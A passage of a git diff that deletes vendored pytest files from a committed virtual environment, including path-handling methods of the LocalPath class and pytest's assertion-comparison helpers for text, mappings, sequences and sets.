object""" - return self.stat().size - - def mtime(self) -> float: - """Return last modification time of the path.""" - return self.stat().mtime - - def copy(self, target, mode=False, stat=False): - """Copy path to target. - - If mode is True, will copy permission from path to target. - If stat is True, copy permission, last modification - time, last access time, and flags from path to target. - """ - if self.check(file=1): - if target.check(dir=1): - target = target.join(self.basename) - assert self != target - copychunked(self, target) - if mode: - copymode(self.strpath, target.strpath) - if stat: - copystat(self, target) - else: - - def rec(p): - return p.check(link=0) - - for x in self.visit(rec=rec): - relpath = x.relto(self) - newx = target.join(relpath) - newx.dirpath().ensure(dir=1) - if x.check(link=1): - newx.mksymlinkto(x.readlink()) - continue - elif x.check(file=1): - copychunked(x, newx) - elif x.check(dir=1): - newx.ensure(dir=1) - if mode: - copymode(x.strpath, newx.strpath) - if stat: - copystat(x, newx) - - def rename(self, target): - """Rename this path to target.""" - target = os.fspath(target) - return error.checked_call(os.rename, self.strpath, target) - - def dump(self, obj, bin=1): - """Pickle object into path location""" - f = self.open("wb") - import pickle - - try: - error.checked_call(pickle.dump, obj, f, bin) - finally: - f.close() - - def mkdir(self, *args): - """Create & return the directory joined with args.""" - p = self.join(*args) - error.checked_call(os.mkdir, os.fspath(p)) - return p - - def write_binary(self, data, ensure=False): - """Write binary data into path. If ensure is True create - missing parent directories. - """ - if ensure: - self.dirpath().ensure(dir=1) - with self.open("wb") as f: - f.write(data) - - def write_text(self, data, encoding, ensure=False): - """Write text data into path using the specified encoding. - If ensure is True create missing parent directories. - """ - if ensure: - self.dirpath().ensure(dir=1) - with self.open("w", encoding=encoding) as f: - f.write(data) - - def write(self, data, mode="w", ensure=False): - """Write data into path. If ensure is True create - missing parent directories. - """ - if ensure: - self.dirpath().ensure(dir=1) - if "b" in mode: - if not isinstance(data, bytes): - raise ValueError("can only process bytes") - else: - if not isinstance(data, str): - if not isinstance(data, bytes): - data = str(data) - else: - data = data.decode(sys.getdefaultencoding()) - f = self.open(mode) - try: - f.write(data) - finally: - f.close() - - def _ensuredirs(self): - parent = self.dirpath() - if parent == self: - return self - if parent.check(dir=0): - parent._ensuredirs() - if self.check(dir=0): - try: - self.mkdir() - except error.EEXIST: - # race condition: file/dir created by another thread/process. - # complain if it is not a dir - if self.check(dir=0): - raise - return self - - def ensure(self, *args, **kwargs): - """Ensure that an args-joined path exists (by default as - a file). if you specify a keyword argument 'dir=True' - then the path is forced to be a directory path. - """ - p = self.join(*args) - if kwargs.get("dir", 0): - return p._ensuredirs() - else: - p.dirpath()._ensuredirs() - if not p.check(file=1): - p.open("wb").close() - return p - - @overload - def stat(self, raising: Literal[True] = ...) -> Stat: ... - - @overload - def stat(self, raising: Literal[False]) -> Stat | None: ... - - def stat(self, raising: bool = True) -> Stat | None: - """Return an os.stat() tuple.""" - if raising: - return Stat(self, error.checked_call(os.stat, self.strpath)) - try: - return Stat(self, os.stat(self.strpath)) - except KeyboardInterrupt: - raise - except Exception: - return None - - def lstat(self) -> Stat: - """Return an os.lstat() tuple.""" - return Stat(self, error.checked_call(os.lstat, self.strpath)) - - def setmtime(self, mtime=None): - """Set modification time for the given path. if 'mtime' is None - (the default) then the file's mtime is set to current time. - - Note that the resolution for 'mtime' is platform dependent. - """ - if mtime is None: - return error.checked_call(os.utime, self.strpath, mtime) - try: - return error.checked_call(os.utime, self.strpath, (-1, mtime)) - except error.EINVAL: - return error.checked_call(os.utime, self.strpath, (self.atime(), mtime)) - - def chdir(self): - """Change directory to self and return old current directory""" - try: - old = self.__class__() - except error.ENOENT: - old = None - error.checked_call(os.chdir, self.strpath) - return old - - @contextmanager - def as_cwd(self): - """ - Return a context manager, which changes to the path's dir during the - managed "with" context. - On __enter__ it returns the old dir, which might be ``None``. - """ - old = self.chdir() - try: - yield old - finally: - if old is not None: - old.chdir() - - def realpath(self): - """Return a new path which contains no symbolic links.""" - return self.__class__(os.path.realpath(self.strpath)) - - def atime(self): - """Return last access time of the path.""" - return self.stat().atime - - def __repr__(self): - return f"local({self.strpath!r})" - - def __str__(self): - """Return string representation of the Path.""" - return self.strpath - - def chmod(self, mode, rec=0): - """Change permissions to the given mode. If mode is an - integer it directly encodes the os-specific modes. - if rec is True perform recursively. - """ - if not isinstance(mode, int): - raise TypeError(f"mode {mode!r} must be an integer") - if rec: - for x in self.visit(rec=rec): - error.checked_call(os.chmod, str(x), mode) - error.checked_call(os.chmod, self.strpath, mode) - - def pypkgpath(self): - """Return the Python package path by looking for the last - directory upwards which still contains an __init__.py. - Return None if a pkgpath cannot be determined. - """ - pkgpath = None - for parent in self.parts(reverse=True): - if parent.isdir(): - if not parent.join("__init__.py").exists(): - break - if not isimportable(parent.basename): - break - pkgpath = parent - return pkgpath - - def _ensuresyspath(self, ensuremode, path): - if ensuremode: - s = str(path) - if ensuremode == "append": - if s not in sys.path: - sys.path.append(s) - else: - if s != sys.path[0]: - sys.path.insert(0, s) - - def pyimport(self, modname=None, ensuresyspath=True): - """Return path as an imported python module. - - If modname is None, look for the containing package - and construct an according module name. - The module will be put/looked up in sys.modules. - if ensuresyspath is True then the root dir for importing - the file (taking __init__.py files into account) will - be prepended to sys.path if it isn't there already. - If ensuresyspath=="append" the root dir will be appended - if it isn't already contained in sys.path. - if ensuresyspath is False no modification of syspath happens. - - Special value of ensuresyspath=="importlib" is intended - purely for using in pytest, it is capable only of importing - separate .py files outside packages, e.g. for test suite - without any __init__.py file. It effectively allows having - same-named test modules in different places and offers - mild opt-in via this option. Note that it works only in - recent versions of python. - """ - if not self.check(): - raise error.ENOENT(self) - - if ensuresyspath == "importlib": - if modname is None: - modname = self.purebasename - spec = importlib.util.spec_from_file_location(modname, str(self)) - if spec is None or spec.loader is None: - raise ImportError(f"Can't find module {modname} at location {self!s}") - mod = importlib.util.module_from_spec(spec) - spec.loader.exec_module(mod) - return mod - - pkgpath = None - if modname is None: - pkgpath = self.pypkgpath() - if pkgpath is not None: - pkgroot = pkgpath.dirpath() - names = self.new(ext="").relto(pkgroot).split(self.sep) - if names[-1] == "__init__": - names.pop() - modname = ".".join(names) - else: - pkgroot = self.dirpath() - modname = self.purebasename - - self._ensuresyspath(ensuresyspath, pkgroot) - __import__(modname) - mod = sys.modules[modname] - if self.basename == "__init__.py": - return mod # we don't check anything as we might - # be in a namespace package ... too icky to check - modfile = mod.__file__ - assert modfile is not None - if modfile[-4:] in (".pyc", ".pyo"): - modfile = modfile[:-1] - elif modfile.endswith("$py.class"): - modfile = modfile[:-9] + ".py" - if modfile.endswith(os.sep + "__init__.py"): - if self.basename != "__init__.py": - modfile = modfile[:-12] - try: - issame = self.samefile(modfile) - except error.ENOENT: - issame = False - if not issame: - ignore = os.getenv("PY_IGNORE_IMPORTMISMATCH") - if ignore != "1": - raise self.ImportMismatchError(modname, modfile, self) - return mod - else: - try: - return sys.modules[modname] - except KeyError: - # we have a custom modname, do a pseudo-import - import types - - mod = types.ModuleType(modname) - mod.__file__ = str(self) - sys.modules[modname] = mod - try: - with open(str(self), "rb") as f: - exec(f.read(), mod.__dict__) - except BaseException: - del sys.modules[modname] - raise - return mod - - def sysexec(self, *argv: os.PathLike[str], **popen_opts: Any) -> str: - """Return stdout text from executing a system child process, - where the 'self' path points to executable. - The process is directly invoked and not through a system shell. - """ - from subprocess import PIPE - from subprocess import Popen - - popen_opts.pop("stdout", None) - popen_opts.pop("stderr", None) - proc = Popen( - [str(self)] + [str(arg) for arg in argv], - **popen_opts, - stdout=PIPE, - stderr=PIPE, - ) - stdout: str | bytes - stdout, stderr = proc.communicate() - ret = proc.wait() - if isinstance(stdout, bytes): - stdout = stdout.decode(sys.getdefaultencoding()) - if ret != 0: - if isinstance(stderr, bytes): - stderr = stderr.decode(sys.getdefaultencoding()) - raise RuntimeError( - ret, - ret, - str(self), - stdout, - stderr, - ) - return stdout - - @classmethod - def sysfind(cls, name, checker=None, paths=None): - """Return a path object found by looking at the systems - underlying PATH specification. If the checker is not None - it will be invoked to filter matching paths. If a binary - cannot be found, None is returned - Note: This is probably not working on plain win32 systems - but may work on cygwin. - """ - if isabs(name): - p = local(name) - if p.check(file=1): - return p - else: - if paths is None: - if iswin32: - paths = os.environ["Path"].split(";") - if "" not in paths and "." not in paths: - paths.append(".") - try: - systemroot = os.environ["SYSTEMROOT"] - except KeyError: - pass - else: - paths = [ - path.replace("%SystemRoot%", systemroot) for path in paths - ] - else: - paths = os.environ["PATH"].split(":") - tryadd = [] - if iswin32: - tryadd += os.environ["PATHEXT"].split(os.pathsep) - tryadd.append("") - - for x in paths: - for addext in tryadd: - p = local(x).join(name, abs=True) + addext - try: - if p.check(file=1): - if checker: - if not checker(p): - continue - return p - except error.EACCES: - pass - return None - - @classmethod - def _gethomedir(cls): - try: - x = os.environ["HOME"] - except KeyError: - try: - x = os.environ["HOMEDRIVE"] + os.environ["HOMEPATH"] - except KeyError: - return None - return cls(x) - - # """ - # special class constructors for local filesystem paths - # """ - @classmethod - def get_temproot(cls): - """Return the system's temporary directory - (where tempfiles are usually created in) - """ - import tempfile - - return local(tempfile.gettempdir()) - - @classmethod - def mkdtemp(cls, rootdir=None): - """Return a Path object pointing to a fresh new temporary directory - (which we created ourselves). - """ - import tempfile - - if rootdir is None: - rootdir = cls.get_temproot() - path = error.checked_call(tempfile.mkdtemp, dir=str(rootdir)) - return cls(path) - - @classmethod - def make_numbered_dir( - cls, prefix="session-", rootdir=None, keep=3, lock_timeout=172800 - ): # two days - """Return unique directory with a number greater than the current - maximum one. The number is assumed to start directly after prefix. - if keep is true directories with a number less than (maxnum-keep) - will be removed. If .lock files are used (lock_timeout non-zero), - algorithm is multi-process safe. - """ - if rootdir is None: - rootdir = cls.get_temproot() - - nprefix = prefix.lower() - - def parse_num(path): - """Parse the number out of a path (if it matches the prefix)""" - nbasename = path.basename.lower() - if nbasename.startswith(nprefix): - try: - return int(nbasename[len(nprefix) :]) - except ValueError: - pass - - def create_lockfile(path): - """Exclusively create lockfile. Throws when failed""" - mypid = os.getpid() - lockfile = path.join(".lock") - if hasattr(lockfile, "mksymlinkto"): - lockfile.mksymlinkto(str(mypid)) - else: - fd = error.checked_call( - os.open, str(lockfile), os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o644 - ) - with os.fdopen(fd, "w") as f: - f.write(str(mypid)) - return lockfile - - def atexit_remove_lockfile(lockfile): - """Ensure lockfile is removed at process exit""" - mypid = os.getpid() - - def try_remove_lockfile(): - # in a fork() situation, only the last process should - # remove the .lock, otherwise the other processes run the - # risk of seeing their temporary dir disappear. For now - # we remove the .lock in the parent only (i.e. we assume - # that the children finish before the parent). - if os.getpid() != mypid: - return - try: - lockfile.remove() - except error.Error: - pass - - atexit.register(try_remove_lockfile) - - # compute the maximum number currently in use with the prefix - lastmax = None - while True: - maxnum = -1 - for path in rootdir.listdir(): - num = parse_num(path) - if num is not None: - maxnum = max(maxnum, num) - - # make the new directory - try: - udir = rootdir.mkdir(prefix + str(maxnum + 1)) - if lock_timeout: - lockfile = create_lockfile(udir) - atexit_remove_lockfile(lockfile) - except (error.EEXIST, error.ENOENT, error.EBUSY): - # race condition (1): another thread/process created the dir - # in the meantime - try again - # race condition (2): another thread/process spuriously acquired - # lock treating empty directory as candidate - # for removal - try again - # race condition (3): another thread/process tried to create the lock at - # the same time (happened in Python 3.3 on Windows) - # https://ci.appveyor.com/project/pytestbot/py/build/1.0.21/job/ffi85j4c0lqwsfwa - if lastmax == maxnum: - raise - lastmax = maxnum - continue - break - - def get_mtime(path): - """Read file modification time""" - try: - return path.lstat().mtime - except error.Error: - pass - - garbage_prefix = prefix + "garbage-" - - def is_garbage(path): - """Check if path denotes directory scheduled for removal""" - bn = path.basename - return bn.startswith(garbage_prefix) - - # prune old directories - udir_time = get_mtime(udir) - if keep and udir_time: - for path in rootdir.listdir(): - num = parse_num(path) - if num is not None and num <= (maxnum - keep): - try: - # try acquiring lock to remove directory as exclusive user - if lock_timeout: - create_lockfile(path) - except (error.EEXIST, error.ENOENT, error.EBUSY): - path_time = get_mtime(path) - if not path_time: - # assume directory doesn't exist now - continue - if abs(udir_time - path_time) < lock_timeout: - # assume directory with lockfile exists - # and lock timeout hasn't expired yet - continue - - # path dir locked for exclusive use - # and scheduled for removal to avoid another thread/process - # treating it as a new directory or removal candidate - garbage_path = rootdir.join(garbage_prefix + str(uuid.uuid4())) - try: - path.rename(garbage_path) - garbage_path.remove(rec=1) - except KeyboardInterrupt: - raise - except Exception: # this might be error.Error, WindowsError ... - pass - if is_garbage(path): - try: - path.remove(rec=1) - except KeyboardInterrupt: - raise - except Exception: # this might be error.Error, WindowsError ... - pass - - # make link... - try: - username = os.environ["USER"] # linux, et al - except KeyError: - try: - username = os.environ["USERNAME"] # windows - except KeyError: - username = "current" - - src = str(udir) - dest = src[: src.rfind("-")] + "-" + username - try: - os.unlink(dest) - except OSError: - pass - try: - os.symlink(src, dest) - except (OSError, AttributeError, NotImplementedError): - pass - - return udir - - -def copymode(src, dest): - """Copy permission from src to dst.""" - import shutil - - shutil.copymode(src, dest) - - -def copystat(src, dest): - """Copy permission, last modification time, - last access time, and flags from src to dst.""" - import shutil - - shutil.copystat(str(src), str(dest)) - - -def copychunked(src, dest): - chunksize = 524288 # half a meg of bytes - fsrc = src.open("rb") - try: - fdest = dest.open("wb") - try: - while 1: - buf = fsrc.read(chunksize) - if not buf: - break - fdest.write(buf) - finally: - fdest.close() - finally: - fsrc.close() - - -def isimportable(name): - if name and (name[0].isalpha() or name[0] == "_"): - name = name.replace("_", "") - return not name or name.isalnum() - - -local = LocalPath diff --git a/venv/Lib/site-packages/_pytest/_version.py b/venv/Lib/site-packages/_pytest/_version.py deleted file mode 100644 index faf5c55167d7e00ed739525984747dd4545d1bfb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_version.py +++ /dev/null @@ -1,24 +0,0 @@ -# file generated by vcs-versioning -# don't change, don't track in version control -from __future__ import annotations - -__all__ = [ - "__version__", - "__version_tuple__", - "version", - "version_tuple", - "__commit_id__", - "commit_id", -] - -version: str -__version__: str -__version_tuple__: tuple[int | str, ...] -version_tuple: tuple[int | str, ...] -commit_id: str | None -__commit_id__: str | None - -__version__ = version = '9.1.1' -__version_tuple__ = version_tuple = (9, 1, 1) - -__commit_id__ = commit_id = None diff --git a/venv/Lib/site-packages/_pytest/assertion/__init__.py b/venv/Lib/site-packages/_pytest/assertion/__init__.py deleted file mode 100644 index e33f8b296093e981bf999db99cc81a1fdc773c68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/__init__.py +++ /dev/null @@ -1,236 +0,0 @@ -# mypy: allow-untyped-defs -"""Support for presenting detailed information in failing assertions.""" - -from __future__ import annotations - -from collections.abc import Generator -import sys -from typing import Any -from typing import Protocol -from typing import TYPE_CHECKING - -from _pytest.assertion import rewrite -from _pytest.assertion import truncate -from _pytest.assertion import util -from _pytest.assertion.rewrite import assertstate_key -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.nodes import Item - - -if TYPE_CHECKING: - from _pytest.main import Session - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--assert", - action="store", - dest="assertmode", - choices=("rewrite", "plain"), - default="rewrite", - metavar="MODE", - help=( - "Control assertion debugging tools.\n" - "'plain' performs no assertion debugging.\n" - "'rewrite' (the default) rewrites assert statements in test modules" - " on import to provide assert expression information." - ), - ) - parser.addini( - "enable_assertion_pass_hook", - type="bool", - default=False, - help="Enables the pytest_assertion_pass hook. " - "Make sure to delete any previously generated pyc cache files.", - ) - - parser.addini( - "truncation_limit_lines", - default=None, - help="Set threshold of LINES after which truncation will take effect", - ) - parser.addini( - "truncation_limit_chars", - default=None, - help=("Set threshold of CHARS after which truncation will take effect"), - ) - parser.addini( - "assertion_text_diff_style", - default=util.ASSERTION_TEXT_DIFF_STYLE_NDIFF, - help=( - "Choose how pytest renders diffs for string equality assertions: " - f"{util.ASSERTION_TEXT_DIFF_STYLE_NDIFF} or " - f"{util.ASSERTION_TEXT_DIFF_STYLE_BLOCK}" - ), - ) - - Config._add_verbosity_ini( - parser, - Config.VERBOSITY_ASSERTIONS, - help=( - "Specify a verbosity level for assertions, overriding the main level. " - "Higher levels will provide more detailed explanation when an assertion fails." - ), - ) - - -def pytest_configure(config: Config) -> None: - util.validate_assertion_text_diff_style(config) - - -def register_assert_rewrite(*names: str) -> None: - """Register one or more module names to be rewritten on import. - - This function will make sure that this module or all modules inside - the package will get their assert statements rewritten. - Thus you should make sure to call this before the module is - actually imported, usually in your __init__.py if you are a plugin - using a package. - - :param names: The module names to register. - """ - for name in names: - if not isinstance(name, str): - msg = "expected module names as *args, got {0} instead" # type: ignore[unreachable] - raise TypeError(msg.format(repr(names))) - rewrite_hook: RewriteHook - for hook in sys.meta_path: - if isinstance(hook, rewrite.AssertionRewritingHook): - rewrite_hook = hook - break - else: - rewrite_hook = DummyRewriteHook() - rewrite_hook.mark_rewrite(*names) - - -class RewriteHook(Protocol): - def mark_rewrite(self, *names: str) -> None: ... - - -class DummyRewriteHook: - """A no-op import hook for when rewriting is disabled.""" - - def mark_rewrite(self, *names: str) -> None: - pass - - -class AssertionState: - """State for the assertion plugin.""" - - def __init__(self, config: Config, mode) -> None: - self.mode = mode - self.trace = config.trace.root.get("assertion") - self.hook: rewrite.AssertionRewritingHook | None = None - - -def install_importhook(config: Config) -> rewrite.AssertionRewritingHook: - """Try to install the rewrite hook, raise SystemError if it fails.""" - config.stash[assertstate_key] = AssertionState(config, "rewrite") - config.stash[assertstate_key].hook = hook = rewrite.AssertionRewritingHook(config) - sys.meta_path.insert(0, hook) - config.stash[assertstate_key].trace("installed rewrite import hook") - - def undo() -> None: - hook = config.stash[assertstate_key].hook - if hook is not None and hook in sys.meta_path: - sys.meta_path.remove(hook) - - config.add_cleanup(undo) - return hook - - -def pytest_collection(session: Session) -> None: - # This hook is only called when test modules are collected - # so for example not in the managing process of pytest-xdist - # (which does not collect test modules). - assertstate = session.config.stash.get(assertstate_key, None) - if assertstate: - if assertstate.hook is not None: - assertstate.hook.set_session(session) - - -@hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - """Setup the pytest_assertrepr_compare and pytest_assertion_pass hooks. - - The rewrite module will use util._reprcompare if it exists to use custom - reporting via the pytest_assertrepr_compare hook. This sets up this custom - comparison for the test. - """ - ihook = item.ihook - - def callbinrepr(op, left: object, right: object) -> str | None: - """Call the pytest_assertrepr_compare hook and prepare the result. - - This uses the first result from the hook and then ensures the - following: - * Overly verbose explanations are truncated unless configured otherwise - (eg. if running in verbose mode). - * Embedded newlines are escaped to help util.format_explanation() - later. - * If the rewrite mode is used embedded %-characters are replaced - to protect later % formatting. - - The result can be formatted by util.format_explanation() for - pretty printing. - """ - hook_result = ihook.pytest_assertrepr_compare( - config=item.config, op=op, left=left, right=right - ) - for new_expl in hook_result: - if new_expl: - new_expl = truncate.truncate_if_required(new_expl, item) - new_expl = [line.replace("\n", "\\n") for line in new_expl] - res = "\n~".join(new_expl) - if item.config.getvalue("assertmode") == "rewrite": - res = res.replace("%", "%%") - return res - return None - - saved_assert_hooks = util._reprcompare, util._assertion_pass - util._reprcompare = callbinrepr - util._config = item.config - - if ihook.pytest_assertion_pass.get_hookimpls(): - - def call_assertion_pass_hook(lineno: int, orig: str, expl: str) -> None: - ihook.pytest_assertion_pass(item=item, lineno=lineno, orig=orig, expl=expl) - - util._assertion_pass = call_assertion_pass_hook - - try: - return (yield) - finally: - util._reprcompare, util._assertion_pass = saved_assert_hooks - util._config = None - - -def pytest_sessionfinish(session: Session) -> None: - assertstate = session.config.stash.get(assertstate_key, None) - if assertstate: - if assertstate.hook is not None: - assertstate.hook.set_session(None) - - -def pytest_assertrepr_compare( - config: Config, op: str, left: Any, right: Any -) -> list[str] | None: - if config.pluginmanager.has_plugin("terminalreporter"): - highlighter = config.get_terminal_writer()._highlight - else: - # Keep it plaintext when not using terminalrepoterer (#14377). - highlighter = util.dummy_highlighter - explanation = list( - util.assertrepr_compare( - op=op, - left=left, - right=right, - verbose=config.get_verbosity(Config.VERBOSITY_ASSERTIONS), - highlighter=highlighter, - assertion_text_diff_style=util.get_assertion_text_diff_style(config), - ) - ) - return explanation or None diff --git a/venv/Lib/site-packages/_pytest/assertion/_compare_any.py b/venv/Lib/site-packages/_pytest/assertion/_compare_any.py deleted file mode 100644 index 9e577683736906be067aebd7b97c58bc24312f24..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/_compare_any.py +++ /dev/null @@ -1,131 +0,0 @@ -from __future__ import annotations - -from collections.abc import Iterator -import dataclasses -import pprint - -from _pytest.assertion._compare_mapping import _compare_eq_mapping -from _pytest.assertion._compare_sequence import _compare_eq_iterable -from _pytest.assertion._compare_sequence import _compare_eq_sequence -from _pytest.assertion._compare_set import _compare_eq_set -from _pytest.assertion._guards import has_default_eq -from _pytest.assertion._guards import isattrs -from _pytest.assertion._guards import isdatacls -from _pytest.assertion._guards import isiterable -from _pytest.assertion._guards import ismapping -from _pytest.assertion._guards import isnamedtuple -from _pytest.assertion._guards import issequence -from _pytest.assertion._guards import isset -from _pytest.assertion._guards import istext -from _pytest.assertion._typing import _AssertionTextDiffStyle -from _pytest.assertion._typing import _HighlightFunc -from _pytest.assertion.compare_text import _compare_eq_text - - -def _compare_eq_any( - left: object, - right: object, - highlighter: _HighlightFunc, - verbose: int, - assertion_text_diff_style: _AssertionTextDiffStyle, -) -> Iterator[str]: - """Yield the per-line explanation for ``left == right`` (without summary). - - Yields nothing when no specialised explanation applies, so consumers - can stream the output and bail out early (e.g. for truncation) without - materialising the entire diff first. - """ - if istext(left) and istext(right): - yield from _compare_eq_text( - left, - right, - highlighter, - verbose, - assertion_text_diff_style, - ) - else: - from _pytest.python_api import ApproxBase - - # Although the common order should be obtained == approx(...), allow both ways. - if isinstance(right, ApproxBase): - yield from right._repr_compare(left) - elif isinstance(left, ApproxBase): - yield from left._repr_compare(right) - elif type(left) is type(right) and ( - isdatacls(left) or isattrs(left) or isnamedtuple(left) - ): - # Note: unlike dataclasses/attrs, namedtuples compare only the - # field values, not the type or field names. But this branch - # intentionally only handles the same-type case, which was often - # used in older code bases before dataclasses/attrs were available. - yield from _compare_eq_cls( - left, - right, - highlighter, - verbose, - assertion_text_diff_style, - ) - elif issequence(left) and issequence(right): - yield from _compare_eq_sequence(left, right, highlighter, verbose) - elif isset(left) and isset(right): - yield from _compare_eq_set(left, right, highlighter, verbose) - elif ismapping(left) and ismapping(right): - yield from _compare_eq_mapping(left, right, highlighter, verbose) - - if isiterable(left) and isiterable(right): - yield from _compare_eq_iterable(left, right, highlighter, verbose) - - -def _compare_eq_cls( - left: object, - right: object, - highlighter: _HighlightFunc, - verbose: int, - assertion_text_diff_style: _AssertionTextDiffStyle, -) -> Iterator[str]: - if not has_default_eq(left): - return - if isdatacls(left): - all_fields = dataclasses.fields(left) - fields_to_check = [info.name for info in all_fields if info.compare] - elif isattrs(left): - all_fields = left.__attrs_attrs__ # type: ignore[attr-defined] - fields_to_check = [field.name for field in all_fields if getattr(field, "eq")] - elif isnamedtuple(left): - fields_to_check = left._fields # type: ignore[attr-defined] - else: - assert False - - indent = " " - same = [] - diff = [] - for field in fields_to_check: - if getattr(left, field) == getattr(right, field): - same.append(field) - else: - diff.append(field) - - if same or diff: - yield "" - if same and verbose < 2: - yield f"Omitting {len(same)} identical items, use -vv to show" - elif same: - yield "Matching attributes:" - yield from highlighter(pprint.pformat(same)).splitlines() - if diff: - yield "Differing attributes:" - yield from highlighter(pprint.pformat(diff)).splitlines() - for field in diff: - field_left = getattr(left, field) - field_right = getattr(right, field) - yield "" - yield f"Drill down into differing attribute {field}:" - yield f"{indent}{field}: {highlighter(repr(field_left))} != {highlighter(repr(field_right))}" - for line in _compare_eq_any( - field_left, - field_right, - highlighter, - verbose, - assertion_text_diff_style, - ): - yield indent + line diff --git a/venv/Lib/site-packages/_pytest/assertion/_compare_mapping.py b/venv/Lib/site-packages/_pytest/assertion/_compare_mapping.py deleted file mode 100644 index 4edb47026c63444d87c45c911eac95059e11759b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/_compare_mapping.py +++ /dev/null @@ -1,48 +0,0 @@ -from __future__ import annotations - -from collections.abc import Iterator -from collections.abc import Mapping -import pprint - -from _pytest._io.saferepr import saferepr -from _pytest.assertion._typing import _HighlightFunc - - -def _compare_eq_mapping( - left: Mapping[object, object], - right: Mapping[object, object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - set_left = set(left) - set_right = set(right) - common = set_left.intersection(set_right) - same = {k: left[k] for k in common if left[k] == right[k]} - if same and verbose < 2: - yield f"Omitting {len(same)} identical items, use -vv to show" - elif same: - yield "Common items:" - yield from highlighter(pprint.pformat(same)).splitlines() - diff = {k for k in common if left[k] != right[k]} - if diff: - yield "Differing items:" - for k in diff: - yield ( - highlighter(saferepr({k: left[k]})) - + " != " - + highlighter(saferepr({k: right[k]})) - ) - extra_left = set_left - set_right - len_extra_left = len(extra_left) - if len_extra_left: - yield f"Left contains {len_extra_left} more item{'' if len_extra_left == 1 else 's'}:" - yield from highlighter( - pprint.pformat({k: left[k] for k in extra_left}) - ).splitlines() - extra_right = set_right - set_left - len_extra_right = len(extra_right) - if len_extra_right: - yield f"Right contains {len_extra_right} more item{'' if len_extra_right == 1 else 's'}:" - yield from highlighter( - pprint.pformat({k: right[k] for k in extra_right}) - ).splitlines() diff --git a/venv/Lib/site-packages/_pytest/assertion/_compare_sequence.py b/venv/Lib/site-packages/_pytest/assertion/_compare_sequence.py deleted file mode 100644 index cd0043bf7ce7cb4c82d8aeb3ae371ff1ef5489f1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/_compare_sequence.py +++ /dev/null @@ -1,90 +0,0 @@ -from __future__ import annotations - -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Sequence - -from _pytest._io.pprint import PrettyPrinter -from _pytest._io.saferepr import saferepr -from _pytest.assertion._typing import _HighlightFunc -from _pytest.compat import running_on_ci - - -def _compare_eq_iterable( - left: Iterable[object], - right: Iterable[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - if verbose <= 0 and not running_on_ci(): - yield "Use -v to get more diff" - return - # dynamic import to speedup pytest - import difflib - - left_formatting = PrettyPrinter().pformat(left).splitlines() - right_formatting = PrettyPrinter().pformat(right).splitlines() - - yield "" - yield "Full diff:" - # "right" is the expected base against which we compare "left", - # see https://github.com/pytest-dev/pytest/issues/3333 - yield from highlighter( - "\n".join( - line.rstrip() for line in difflib.ndiff(right_formatting, left_formatting) - ), - lexer="diff", - ).splitlines() - - -def _compare_eq_sequence( - left: Sequence[object], - right: Sequence[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - comparing_bytes = isinstance(left, bytes) and isinstance(right, bytes) - len_left = len(left) - len_right = len(right) - for i in range(min(len_left, len_right)): - if left[i] != right[i]: - if comparing_bytes: - # when comparing bytes, we want to see their ascii representation - # instead of their numeric values (#5260) - # using a slice gives us the ascii representation: - # >>> s = b'foo' - # >>> s[0] - # 102 - # >>> s[0:1] - # b'f' - left_value: object = left[i : i + 1] - right_value: object = right[i : i + 1] - else: - left_value = left[i] - right_value = right[i] - - yield ( - f"At index {i} diff:" - f" {highlighter(repr(left_value))} != {highlighter(repr(right_value))}" - ) - break - - if comparing_bytes: - # when comparing bytes, it doesn't help to show the "sides contain one or more - # items" longer explanation, so skip it - return - - len_diff = len_left - len_right - if len_diff: - if len_diff > 0: - dir_with_more = "Left" - extra = saferepr(left[len_right]) - else: - len_diff = 0 - len_diff - dir_with_more = "Right" - extra = saferepr(right[len_left]) - - if len_diff == 1: - yield f"{dir_with_more} contains one more item: {highlighter(extra)}" - else: - yield f"{dir_with_more} contains {len_diff} more items, first extra item: {highlighter(extra)}" diff --git a/venv/Lib/site-packages/_pytest/assertion/_compare_set.py b/venv/Lib/site-packages/_pytest/assertion/_compare_set.py deleted file mode 100644 index 2817133790dad90b9e438a09df70be9ca2247cf9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/_compare_set.py +++ /dev/null @@ -1,101 +0,0 @@ -from __future__ import annotations - -from collections.abc import Callable -from collections.abc import Iterator -from collections.abc import Set as AbstractSet -from typing import TypeAlias - -from _pytest._io.saferepr import saferepr -from _pytest.assertion._typing import _HighlightFunc - - -def _set_one_sided_diff( - posn: str, - set1: AbstractSet[object], - set2: AbstractSet[object], - highlighter: _HighlightFunc, -) -> Iterator[str]: - diff = set1 - set2 - if diff: - yield f"Extra items in the {posn} set:" - for item in diff: - yield highlighter(saferepr(item)) - - -def _compare_eq_set( - left: AbstractSet[object], - right: AbstractSet[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - yield from _set_one_sided_diff("left", left, right, highlighter) - yield from _set_one_sided_diff("right", right, left, highlighter) - - -def _compare_gte_set( - left: AbstractSet[object], - right: AbstractSet[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - yield from _set_one_sided_diff("right", right, left, highlighter) - - -def _compare_lte_set( - left: AbstractSet[object], - right: AbstractSet[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - yield from _set_one_sided_diff("left", left, right, highlighter) - - -def _compare_gt_set( - left: AbstractSet[object], - right: AbstractSet[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - if left == right: - yield "Both sets are equal" - else: - yield from _set_one_sided_diff("right", right, left, highlighter) - - -def _compare_lt_set( - left: AbstractSet[object], - right: AbstractSet[object], - highlighter: 